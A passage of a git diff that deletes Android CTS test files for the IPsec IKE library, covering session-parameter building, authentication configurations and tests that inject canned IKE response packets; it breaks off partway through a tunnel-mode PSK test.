-                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTransportMode() throws Exception {
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        int expectedMsgId = 0;
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                false /* expectedUseEncap */,
-                IKE_INIT_RESP);
-
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_1_FRAG_1,
-                IKE_AUTH_RESP_1_FRAG_2);
-
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_2);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_3);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                IKE_AUTH_RESP_4);
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Close IKE Session
-        ikeSession.close();
-        performCloseIkeBlocking(expectedMsgId++, DELETE_IKE_RESP);
-        verifyCloseIkeAndChildBlocking(firstTransformRecordA, firstTransformRecordB);
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionParamsTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionParamsTest.java
deleted file mode 100644
index 241e79b..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionParamsTest.java
+++ /dev/null
@@ -1,414 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.ipsec.ike.IkeSessionParams.IKE_OPTION_ACCEPT_ANY_REMOTE_ID;
-import static android.net.ipsec.ike.IkeSessionParams.IKE_OPTION_EAP_ONLY_AUTH;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthDigitalSignLocalConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthDigitalSignRemoteConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthEapConfig;
-import static android.net.ipsec.ike.IkeSessionParams.IkeAuthPskConfig;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-import static android.telephony.TelephonyManager.APPTYPE_USIM;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.net.eap.EapSessionConfig;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeIdentification;
-import android.net.ipsec.ike.IkeSaProposal;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeSessionParams.ConfigRequestIpv4PcscfServer;
-import android.net.ipsec.ike.IkeSessionParams.ConfigRequestIpv6PcscfServer;
-import android.net.ipsec.ike.IkeSessionParams.IkeConfigRequest;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.internal.net.ipsec.ike.testutils.CertUtils;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.security.cert.X509Certificate;
-import java.security.interfaces.RSAPrivateKey;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public final class IkeSessionParamsTest extends IkeSessionTestBase {
-    private static final int HARD_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(20L);
-    private static final int SOFT_LIFETIME_SECONDS = (int) TimeUnit.HOURS.toSeconds(10L);
-    private static final int DPD_DELAY_SECONDS = (int) TimeUnit.MINUTES.toSeconds(10L);
-    private static final int[] RETRANS_TIMEOUT_MS_LIST = new int[] {500, 500, 500, 500, 500, 500};
-
-    private static final Map<Class<? extends IkeConfigRequest>, Integer> EXPECTED_REQ_COUNT =
-            new HashMap<>();
-    private static final HashSet<InetAddress> EXPECTED_PCSCF_SERVERS = new HashSet<>();
-
-    static {
-        EXPECTED_REQ_COUNT.put(ConfigRequestIpv4PcscfServer.class, 3);
-        EXPECTED_REQ_COUNT.put(ConfigRequestIpv6PcscfServer.class, 3);
-
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV4_ADDRESS_1);
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV4_ADDRESS_2);
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV6_ADDRESS_1);
-        EXPECTED_PCSCF_SERVERS.add(PCSCF_IPV6_ADDRESS_2);
-    }
-
-    // Arbitrary proposal and remote ID. Local ID is chosen to match the client end cert in the
-    // following CL
-    private static final IkeSaProposal SA_PROPOSAL =
-            SaProposalTest.buildIkeSaProposalWithNormalModeCipher();
-    private static final IkeIdentification LOCAL_ID = new IkeFqdnIdentification(LOCAL_HOSTNAME);
-    private static final IkeIdentification REMOTE_ID = new IkeFqdnIdentification(REMOTE_HOSTNAME);
-
-    private static final EapSessionConfig EAP_ALL_METHODS_CONFIG =
-            createEapOnlySafeMethodsBuilder()
-                    .setEapMsChapV2Config(EAP_MSCHAPV2_USERNAME, EAP_MSCHAPV2_PASSWORD)
-                    .build();
-    private static final EapSessionConfig EAP_ONLY_SAFE_METHODS_CONFIG =
-            createEapOnlySafeMethodsBuilder().build();
-
-    private X509Certificate mServerCaCert;
-    private X509Certificate mClientEndCert;
-    private X509Certificate mClientIntermediateCaCertOne;
-    private X509Certificate mClientIntermediateCaCertTwo;
-    private RSAPrivateKey mClientPrivateKey;
-
-    @Before
-    public void setUp() throws Exception {
-        // This address is never used except for setting up the test network
-        setUpTestNetwork(IPV4_ADDRESS_LOCAL);
-
-        mServerCaCert = CertUtils.createCertFromPemFile("server-a-self-signed-ca.pem");
-        mClientEndCert = CertUtils.createCertFromPemFile("client-a-end-cert.pem");
-        mClientIntermediateCaCertOne =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-one.pem");
-        mClientIntermediateCaCertTwo =
-                CertUtils.createCertFromPemFile("client-a-intermediate-ca-two.pem");
-        mClientPrivateKey = CertUtils.createRsaPrivateKeyFromKeyFile("client-a-private-key.key");
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        tearDownTestNetwork();
-    }
-
-    private static EapSessionConfig.Builder createEapOnlySafeMethodsBuilder() {
-        return new EapSessionConfig.Builder()
-                .setEapIdentity(EAP_IDENTITY)
-                .setEapSimConfig(SUB_ID, APPTYPE_USIM)
-                .setEapAkaConfig(SUB_ID, APPTYPE_USIM)
-                .setEapAkaPrimeConfig(
-                        SUB_ID, APPTYPE_USIM, NETWORK_NAME, true /* allowMismatchedNetworkNames */);
-    }
-
-    /**
-     * Create a Builder that has minimum configurations to build an IkeSessionParams.
-     *
-     * <p>Authentication method is arbitrarily selected. Using other method (e.g. setAuthEap) also
-     * works.
-     */
-    private IkeSessionParams.Builder createIkeParamsBuilderMinimum() {
-        return new IkeSessionParams.Builder(sContext)
-                .setNetwork(mTunNetwork)
-                .setServerHostname(IPV4_ADDRESS_REMOTE.getHostAddress())
-                .addSaProposal(SA_PROPOSAL)
-                .setLocalIdentification(LOCAL_ID)
-                .setRemoteIdentification(REMOTE_ID)
-                .setAuthPsk(IKE_PSK);
-    }
-
-    /**
-     * Verify the minimum configurations to build an IkeSessionParams.
-     *
-     * @see #createIkeParamsBuilderMinimum
-     */
-    private void verifyIkeParamsMinimum(IkeSessionParams sessionParams) {
-        assertEquals(mTunNetwork, sessionParams.getNetwork());
-        assertEquals(IPV4_ADDRESS_REMOTE.getHostAddress(), sessionParams.getServerHostname());
-        assertEquals(Arrays.asList(SA_PROPOSAL), sessionParams.getSaProposals());
-        assertEquals(LOCAL_ID, sessionParams.getLocalIdentification());
-        assertEquals(REMOTE_ID, sessionParams.getRemoteIdentification());
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) localConfig).getPsk());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) remoteConfig).getPsk());
-    }
-
-    @Test
-    public void testBuildWithMinimumSet() throws Exception {
-        IkeSessionParams sessionParams = createIkeParamsBuilderMinimum().build();
-
-        verifyIkeParamsMinimum(sessionParams);
-
-        // Verify default values that do not need explicit configuration. Do not do assertEquals
-        // to be avoid being a change-detector test
-        assertTrue(sessionParams.getHardLifetimeSeconds() > sessionParams.getSoftLifetimeSeconds());
-        assertTrue(sessionParams.getSoftLifetimeSeconds() > 0);
-        assertTrue(sessionParams.getDpdDelaySeconds() > 0);
-        assertTrue(sessionParams.getRetransmissionTimeoutsMillis().length > 0);
-        for (int timeout : sessionParams.getRetransmissionTimeoutsMillis()) {
-            assertTrue(timeout > 0);
-        }
-        assertTrue(sessionParams.getConfigurationRequests().isEmpty());
-        assertFalse(sessionParams.hasIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID));
-    }
-
-    @Test
-    public void testSetLifetimes() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .setLifetimeSeconds(HARD_LIFETIME_SECONDS, SOFT_LIFETIME_SECONDS)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertEquals(HARD_LIFETIME_SECONDS, sessionParams.getHardLifetimeSeconds());
-        assertEquals(SOFT_LIFETIME_SECONDS, sessionParams.getSoftLifetimeSeconds());
-    }
-
-    @Test
-    public void testSetDpdDelay() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum().setDpdDelaySeconds(DPD_DELAY_SECONDS).build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertEquals(DPD_DELAY_SECONDS, sessionParams.getDpdDelaySeconds());
-    }
-
-    @Test
-    public void testSetRetransmissionTimeouts() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .setRetransmissionTimeoutsMillis(RETRANS_TIMEOUT_MS_LIST)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertArrayEquals(RETRANS_TIMEOUT_MS_LIST, sessionParams.getRetransmissionTimeoutsMillis());
-    }
-
-    @Test
-    public void testSetPcscfConfigRequests() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .setRetransmissionTimeoutsMillis(RETRANS_TIMEOUT_MS_LIST)
-                        .addPcscfServerRequest(AF_INET)
-                        .addPcscfServerRequest(PCSCF_IPV4_ADDRESS_1)
-                        .addPcscfServerRequest(PCSCF_IPV6_ADDRESS_1)
-                        .addPcscfServerRequest(AF_INET6)
-                        .addPcscfServerRequest(PCSCF_IPV4_ADDRESS_2)
-                        .addPcscfServerRequest(PCSCF_IPV6_ADDRESS_2)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        verifyConfigRequestTypes(EXPECTED_REQ_COUNT, sessionParams.getConfigurationRequests());
-
-        Set<InetAddress> resultAddresses = new HashSet<>();
-        for (IkeConfigRequest req : sessionParams.getConfigurationRequests()) {
-            if (req instanceof ConfigRequestIpv4PcscfServer
-                    && ((ConfigRequestIpv4PcscfServer) req).getAddress() != null) {
-                resultAddresses.add(((ConfigRequestIpv4PcscfServer) req).getAddress());
-            } else if (req instanceof ConfigRequestIpv6PcscfServer
-                    && ((ConfigRequestIpv6PcscfServer) req).getAddress() != null) {
-                resultAddresses.add(((ConfigRequestIpv6PcscfServer) req).getAddress());
-            }
-        }
-        assertEquals(EXPECTED_PCSCF_SERVERS, resultAddresses);
-    }
-
-    @Test
-    public void testAddIkeOption() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .addIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertTrue(sessionParams.hasIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID));
-    }
-
-    @Test
-    public void testRemoveIkeOption() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimum()
-                        .addIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID)
-                        .removeIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID)
-                        .build();
-
-        verifyIkeParamsMinimum(sessionParams);
-        assertFalse(sessionParams.hasIkeOption(IKE_OPTION_ACCEPT_ANY_REMOTE_ID));
-    }
-
-    /**
-     * Create a Builder that has minimum configurations to build an IkeSessionParams, except for
-     * authentication method.
-     */
-    private IkeSessionParams.Builder createIkeParamsBuilderMinimumWithoutAuth() {
-        return new IkeSessionParams.Builder(sContext)
-                .setNetwork(mTunNetwork)
-                .setServerHostname(IPV4_ADDRESS_REMOTE.getHostAddress())
-                .addSaProposal(SA_PROPOSAL)
-                .setLocalIdentification(LOCAL_ID)
-                .setRemoteIdentification(REMOTE_ID);
-    }
-
-    /**
-     * Verify the minimum configurations to build an IkeSessionParams, except for authentication
-     * method.
-     *
-     * @see #createIkeParamsBuilderMinimumWithoutAuth
-     */
-    private void verifyIkeParamsMinimumWithoutAuth(IkeSessionParams sessionParams) {
-        assertEquals(mTunNetwork, sessionParams.getNetwork());
-        assertEquals(IPV4_ADDRESS_REMOTE.getHostAddress(), sessionParams.getServerHostname());
-        assertEquals(Arrays.asList(SA_PROPOSAL), sessionParams.getSaProposals());
-        assertEquals(LOCAL_ID, sessionParams.getLocalIdentification());
-        assertEquals(REMOTE_ID, sessionParams.getRemoteIdentification());
-    }
-
-    @Test
-    public void testBuildWithPsk() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth().setAuthPsk(IKE_PSK).build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) localConfig).getPsk());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthPskConfig);
-        assertArrayEquals(IKE_PSK, ((IkeAuthPskConfig) remoteConfig).getPsk());
-    }
-
-    @Test
-    public void testBuildWithEap() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthEap(mServerCaCert, EAP_ALL_METHODS_CONFIG)
-                        .build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthEapConfig);
-        assertEquals(EAP_ALL_METHODS_CONFIG, ((IkeAuthEapConfig) localConfig).getEapConfig());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-
-    @Test
-    public void testBuildWithEapOnlyAuth() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthEap(mServerCaCert, EAP_ONLY_SAFE_METHODS_CONFIG)
-                        .addIkeOption(IKE_OPTION_EAP_ONLY_AUTH)
-                        .build();
-
-        assertTrue(sessionParams.hasIkeOption(IKE_OPTION_EAP_ONLY_AUTH));
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthEapConfig);
-        assertEquals(EAP_ONLY_SAFE_METHODS_CONFIG, ((IkeAuthEapConfig) localConfig).getEapConfig());
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-
-    @Test
-    public void testThrowBuildEapOnlyAuthWithUnsafeMethod() throws Exception {
-        try {
-            IkeSessionParams sessionParams =
-                    createIkeParamsBuilderMinimumWithoutAuth()
-                            .setAuthEap(mServerCaCert, EAP_ALL_METHODS_CONFIG)
-                            .addIkeOption(IKE_OPTION_EAP_ONLY_AUTH)
-                            .build();
-            fail("Expected to fail because EAP only unsafe method is proposed");
-        } catch (IllegalArgumentException expected) {
-        }
-    }
-
-    @Test
-    public void testBuildWithDigitalSignature() throws Exception {
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthDigitalSignature(mServerCaCert, mClientEndCert, mClientPrivateKey)
-                        .build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthDigitalSignLocalConfig);
-        IkeAuthDigitalSignLocalConfig localSignConfig = (IkeAuthDigitalSignLocalConfig) localConfig;
-        assertEquals(mClientEndCert, localSignConfig.getClientEndCertificate());
-        assertEquals(Collections.EMPTY_LIST, localSignConfig.getIntermediateCertificates());
-        assertEquals(mClientPrivateKey, localSignConfig.getPrivateKey());
-
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-
-    @Test
-    public void testBuildWithDigitalSignatureAndIntermediateCerts() throws Exception {
-        List<X509Certificate> intermediateCerts =
-                Arrays.asList(mClientIntermediateCaCertOne, mClientIntermediateCaCertTwo);
-
-        IkeSessionParams sessionParams =
-                createIkeParamsBuilderMinimumWithoutAuth()
-                        .setAuthDigitalSignature(
-                                mServerCaCert, mClientEndCert, intermediateCerts, mClientPrivateKey)
-                        .build();
-
-        verifyIkeParamsMinimumWithoutAuth(sessionParams);
-
-        IkeAuthConfig localConfig = sessionParams.getLocalAuthConfig();
-        assertTrue(localConfig instanceof IkeAuthDigitalSignLocalConfig);
-        IkeAuthDigitalSignLocalConfig localSignConfig = (IkeAuthDigitalSignLocalConfig) localConfig;
-        assertEquals(mClientEndCert, localSignConfig.getClientEndCertificate());
-        assertEquals(intermediateCerts, localSignConfig.getIntermediateCertificates());
-        assertEquals(mClientPrivateKey, localSignConfig.getPrivateKey());
-
-        IkeAuthConfig remoteConfig = sessionParams.getRemoteAuthConfig();
-        assertTrue(remoteConfig instanceof IkeAuthDigitalSignRemoteConfig);
-        assertEquals(
-                mServerCaCert, ((IkeAuthDigitalSignRemoteConfig) remoteConfig).getRemoteCaCert());
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionPskTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionPskTest.java
deleted file mode 100644
index b9b710d..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionPskTest.java
+++ /dev/null
@@ -1,371 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_AUTHENTICATION_FAILED;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_NO_PROPOSAL_CHOSEN;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_TS_UNACCEPTABLE;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
-import android.net.LinkAddress;
-import android.net.ipsec.ike.ChildSessionParams;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.exceptions.IkeProtocolException;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "MANAGE_IPSEC_TUNNELS permission can't be granted to instant apps")
-public class IkeSessionPskTest extends IkeSessionTestBase {
-    // Test vectors for success workflow
-    private static final String SUCCESS_IKE_INIT_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D421202220000000000000015022000030"
-                    + "0000002C010100040300000C0100000C800E0080030000080300000203000008"
-                    + "0200000200000008040000022800008800020000A7AA3435D088EC1A2B7C2A47"
-                    + "1FA1B85F1066C9B2006E7C353FB5B5FDBC2A88347ED2C6F5B7A265D03AE34039"
-                    + "6AAC0145CFCC93F8BDB219DDFF22A603B8856A5DC59B6FAB7F17C5660CF38670"
-                    + "8794FC72F273ADEB7A4F316519794AED6F8AB61F95DFB360FAF18C6C8CABE471"
-                    + "6E18FE215348C2E582171A57FC41146B16C4AFE429000024A634B61C0E5C90C6"
-                    + "8D8818B0955B125A9B1DF47BBD18775710792E651083105C2900001C00004004"
-                    + "406FA3C5685A16B9B72C7F2EEE9993462C619ABE2900001C00004005AF905A87"
-                    + "0A32222AA284A7070585601208A282F0290000080000402E290000100000402F"
-                    + "00020003000400050000000800004014";
-    private static final String SUCCESS_IKE_AUTH_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E20232000000001000000EC240000D0"
-                    + "0D06D37198F3F0962DE8170D66F1A9008267F98CDD956D984BDCED2FC7FAF84A"
-                    + "A6664EF25049B46B93C9ED420488E0C172AA6635BF4011C49792EF2B88FE7190"
-                    + "E8859FEEF51724FD20C46E7B9A9C3DC4708EF7005707A18AB747C903ABCEAC5C"
-                    + "6ECF5A5FC13633DCE3844A920ED10EF202F115DBFBB5D6D2D7AB1F34EB08DE7C"
-                    + "A54DCE0A3A582753345CA2D05A0EFDB9DC61E81B2483B7D13EEE0A815D37252C"
-                    + "23D2F29E9C30658227D2BB0C9E1A481EAA80BC6BE9006BEDC13E925A755A0290"
-                    + "AEC4164D29997F52ED7DCC2E";
-    private static final String SUCCESS_CREATE_CHILD_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E20242000000002000000CC210000B0"
-                    + "484565D4AF6546274674A8DE339E9C9584EE2326AB9260F41C4D0B6C5B02D1D"
-                    + "2E8394E3CDE3094895F2ACCABCDCA8E82960E5196E9622BD13745FC8D6A2BED"
-                    + "E561FF5D9975421BC463C959A3CBA3478256B6D278159D99B512DDF56AC1658"
-                    + "63C65A986F395FE8B1476124B91F83FD7865304EB95B22CA4DD9601DA7A2533"
-                    + "ABF4B36EB1B8CD09522F6A600032316C74E562E6756D9D49D945854E2ABDC4C"
-                    + "3AF36305353D60D40B58BE44ABF82";
-    private static final String SUCCESS_DELETE_CHILD_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E202520000000030000004C2A000030"
-                    + "0C5CEB882DBCA65CE32F4C53909335F1365C91C555316C5E9D9FB553F7AA916"
-                    + "EF3A1D93460B7FABAF0B4B854";
-    private static final String SUCCESS_DELETE_IKE_RESP =
-            "46B8ECA1E0D72A18B45427679F9245D42E202520000000040000004C00000030"
-                    + "9352D71100777B00ABCC6BD7DBEA697827FFAAA48DF9A54D1D68161939F5DC8"
-                    + "6743A7CEB2BE34AC00095A5B8";
-
-    private IkeSession openIkeSessionWithTunnelModeChild(InetAddress remoteAddress) {
-        return openIkeSession(remoteAddress, buildTunnelModeChildSessionParams());
-    }
-
-    private IkeSession openIkeSessionWithTransportModeChild(InetAddress remoteAddress) {
-        return openIkeSession(remoteAddress, buildTransportModeChildParamsWithDefaultTs());
-    }
-
-    private IkeSession openIkeSession(InetAddress remoteAddress, ChildSessionParams childParams) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
-                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
-                        .setAuthPsk(IKE_PSK)
-                        .build();
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                childParams,
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    @BeforeClass
-    public static void setUpTunnelPermissionBeforeClass() throws Exception {
-        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
-        // a standard permission is insufficient. So we shell out the appop, to give us the
-        // right appop permissions.
-        setAppOp(OP_MANAGE_IPSEC_TUNNELS, true);
-    }
-
-    // This method is guaranteed to run in subclasses and will run after subclasses' @AfterClass
-    // methods.
-    @AfterClass
-    public static void tearDownTunnelPermissionAfterClass() throws Exception {
-        setAppOp(OP_MANAGE_IPSEC_TUNNELS, false);
-    }
-
-    @Test
-    public void testIkeSessionSetupAndChildSessionSetupWithTunnelMode() throws Exception {
-        if (!hasTunnelsFeature()) return;
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
-
-        // IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
-        int expectedMsgId = 2;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TUNNEL_MODE_INBOUND_TS),
-                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS),
-                Arrays.asList(EXPECTED_INTERNAL_LINK_ADDR));
-
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Open additional Child Session
-        TestChildSessionCallback additionalChildCb = new TestChildSessionCallback();
-        ikeSession.openChildSession(buildTunnelModeChildSessionParams(), additionalChildCb);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                SUCCESS_CREATE_CHILD_RESP);
-
-        // Verify opening additional Child Session
-        verifyChildSessionSetupBlocking(
-                additionalChildCb,
-                Arrays.asList(TUNNEL_MODE_INBOUND_TS),
-                Arrays.asList(TUNNEL_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord additionalTransformRecordA =
-                additionalChildCb.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord additionalTransformRecordB =
-                additionalChildCb.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(additionalTransformRecordA, additionalTransformRecordB);
-
-        // Close additional Child Session
-        ikeSession.closeChildSession(additionalChildCb);
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                expectedMsgId++,
-                true /* expectedUseEncap */,
-                SUCCESS_DELETE_CHILD_RESP);
-
